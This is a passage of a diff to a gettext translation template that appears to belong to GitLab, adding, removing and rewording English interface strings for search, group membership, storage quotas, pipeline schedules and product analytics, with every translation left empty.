@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
